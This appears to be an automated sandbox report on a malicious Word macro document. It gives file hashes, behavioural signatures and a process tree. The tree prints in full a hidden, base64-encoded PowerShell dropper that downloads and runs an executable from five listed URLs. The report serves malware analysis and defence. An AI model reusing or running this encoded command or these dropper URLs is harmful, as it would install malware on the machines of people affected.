Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 11:38

General

  • Target

    9e39f5019aa1188800dc78f670cc48a5c01bc6a745e8a65f2fde90ad8fcac180.doc

  • Size

    196KB

  • MD5

    1fcaf9750600ffdd3db96fb282c9c713

  • SHA1

    7e4e1faa682bb6948f5fa38e988bee2d2cb88e4d

  • SHA256

    9e39f5019aa1188800dc78f670cc48a5c01bc6a745e8a65f2fde90ad8fcac180

  • SHA512

    6a5523dab1c4ac52e4436318fc9bd3bbf6f23c20c35f36012fcd000cbba7b540a16788d3d5ee430b5b77632d203420b871c8281fc8935b37918b241176aff94b

  • SSDEEP

    3072:0d2y/GdynktGDWLS0HZWD5w8K7Nk98D7IBUnawiVQdwHcL:0d2k43tGiL3HJk98D7bnZ2QqI

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://salvacodina.com/wp-admin/qWYFrK/

exe.dropper

http://serviska.com/show_cat3/lKzElbNb/

exe.dropper

https://bar-ola.com/wp-admin/KIdh35kENT/

exe.dropper

http://rinani.com/wp-includes/FFkV/

exe.dropper

https://wowmotions.com/wp-admin/A8LwzwQ/

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9e39f5019aa1188800dc78f670cc48a5c01bc6a745e8a65f2fde90ad8fcac180.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2300
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2920
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:3052
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABFAGMAawBvAGwAYgB2AHgAegBlAGoAPQAnAFIAcQBtAG4AYgBoAGMAegAnADsAJABaAHkAZwBzAHAAcQBjAG4AZABrAGgAIAA9ACAAJwAzADMAMgAnADsAJABTAHMAcwBuAGcAZwBvAGwAdQA9ACcARgBrAHkAegB5AGgAcwBhAHQAdwB3ACcAOwAkAFkAcwBmAGMAdABpAHUAbgBsAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAeQBnAHMAcABxAGMAbgBkAGsAaAArACcALgBlAHgAZQAnADsAJABNAGEAcQBpAGEAaQByAHcAbABlAHYAdABpAD0AJwBTAHEAeQBhAHAAZABrAGMAcABiAGoAdQAnADsAJABTAGMAYQB1AGUAeABvAHEAaABtAHIAeAA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBjAGwAaQBFAG4AdAA7ACQASwBrAHIAagBkAGMAYgBkAGwAeQBoAGEAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGEAbAB2AGEAYwBvAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHEAVwBZAEYAcgBLAC8AKgBoAHQAdABwADoALwAvAHMAZQByAHYAaQBzAGsAYQAuAGMAbwBtAC8AcwBoAG8AdwBfAGMAYQB0ADMALwBsAEsAegBFAGwAYgBOAGIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGEAcgAtAG8AbABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBLAEkAZABoADMANQBrAEUATgBUAC8AKgBoAHQAdABwADoALwAvAHIAaQBuAGEAbgBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBGAEYAawBWAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBvAHcAbQBvAHQAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AQQA4AEwAdwB6AHcAUQAvACcALgAiAHMAUABgAGwAaQB0ACIAKAAnACoAJwApADsAJABYAGsAdwBkAHQAYgBnAHEAZgA9ACcAVQBzAHUAZwBjAGcAcABhAGEAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQARgBxAGgAcABtAGsAaABqAHAAIABpAG4AIAAkAEsAawByAGoAZABjAGIAZABsAHkAaABhACkAewB0AHIAeQB7ACQAUwBjAGEAdQBlAHgAbwBxAGgAbQByAHgALgAiAGQAYABPAFcAbgBgAGwAbwBBAGAAZABGAGkAbABlACIAKAAkAEYAcQBoAHAAbQBrAGgAagBwACwAIAAkAFkAcwBmAGMAdABpAHUAbgBsAHoAKQA7ACQAVwB6AHYAYgB4AGEAZwBxAG8AagBvAG4AdQA9ACcATwBmAGwAYwBrAG4AbwB1AGwAcQB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWQBzAGYAYwB0AGkAdQBuAGwAegApAC4AIgBsAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAAwADYAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABZAHMAZgBjAHQAaQB1AG4AbAB6ACkAOwAkAFUAZwBhAHUAbQBhAGQAeQBhAGkAcAB6AD0AJwBLAGUAZwBtAGMAcgBhAHUAcABmAHMAagBoACcAOwBiAHIAZQBhAGsAOwAkAEsAYgBuAGwAeAB1AGQAbgB0AGgAPQAnAFEAZgBkAG0AbAB0AHEAawBoAGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABzAHoAcQB2AGMAYwBzAHkAbgA9ACcAQgBvAHcAZABnAHEAbQBlAGMAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1672

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C0591814.wmf

      Filesize

      444B

      MD5

      afef9c7a4288ae9c6f46c78c16794aef

      SHA1

      3e0599711d43945d447ffef45367f67421018383

      SHA256

      4c08c4c9b5d33efcdd2278d3f34274d5e6cee7db52770a642c564217adf3b81a

      SHA512

      e8fbbdc5e6bd618030db249d81f4b23fb68b322e33881e4d31ac0d90de09eb595839835fcd97f7ee1f5a3c96bb248b3afea8537d9514e233e70916b4e9357f93

    • memory/1672-36-0x0000000002530000-0x0000000002538000-memory.dmp

      Filesize

      32KB

    • memory/1672-35-0x000000001B2A0000-0x000000001B582000-memory.dmp

      Filesize

      2.9MB

    • memory/2536-23-0x0000000006520000-0x0000000006620000-memory.dmp

      Filesize

      1024KB

    • memory/2536-2-0x000000007330D000-0x0000000073318000-memory.dmp

      Filesize

      44KB

    • memory/2536-15-0x0000000000620000-0x0000000000720000-memory.dmp

      Filesize

      1024KB

    • memory/2536-14-0x0000000000620000-0x0000000000720000-memory.dmp

      Filesize

      1024KB

    • memory/2536-13-0x0000000000620000-0x0000000000720000-memory.dmp

      Filesize

      1024KB

    • memory/2536-16-0x00000000064E0000-0x00000000064E1000-memory.dmp

      Filesize

      4KB

    • memory/2536-44-0x0000000006520000-0x0000000006620000-memory.dmp

      Filesize

      1024KB

    • memory/2536-19-0x0000000000620000-0x0000000000720000-memory.dmp

      Filesize

      1024KB

    • memory/2536-22-0x0000000006520000-0x0000000006620000-memory.dmp

      Filesize

      1024KB

    • memory/2536-0-0x000000002FAB1000-0x000000002FAB2000-memory.dmp

      Filesize

      4KB

    • memory/2536-21-0x0000000006520000-0x0000000006620000-memory.dmp

      Filesize

      1024KB

    • memory/2536-24-0x0000000006520000-0x0000000006620000-memory.dmp

      Filesize

      1024KB

    • memory/2536-26-0x0000000000620000-0x0000000000720000-memory.dmp

      Filesize

      1024KB

    • memory/2536-20-0x0000000000620000-0x0000000000720000-memory.dmp

      Filesize

      1024KB

    • memory/2536-27-0x0000000006520000-0x0000000006620000-memory.dmp

      Filesize

      1024KB

    • memory/2536-29-0x0000000006520000-0x0000000006620000-memory.dmp

      Filesize

      1024KB

    • memory/2536-5-0x0000000006220000-0x0000000006320000-memory.dmp

      Filesize

      1024KB

    • memory/2536-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2536-37-0x000000007330D000-0x0000000073318000-memory.dmp

      Filesize

      44KB

    • memory/2536-40-0x0000000000620000-0x0000000000720000-memory.dmp

      Filesize

      1024KB

    • memory/2536-41-0x00000000064E0000-0x00000000064E1000-memory.dmp

      Filesize

      4KB

    • memory/2536-42-0x0000000006520000-0x0000000006620000-memory.dmp

      Filesize

      1024KB

    • memory/2536-43-0x0000000000620000-0x0000000000720000-memory.dmp

      Filesize

      1024KB

    • memory/2920-17-0x0000000000130000-0x0000000000131000-memory.dmp

      Filesize

      4KB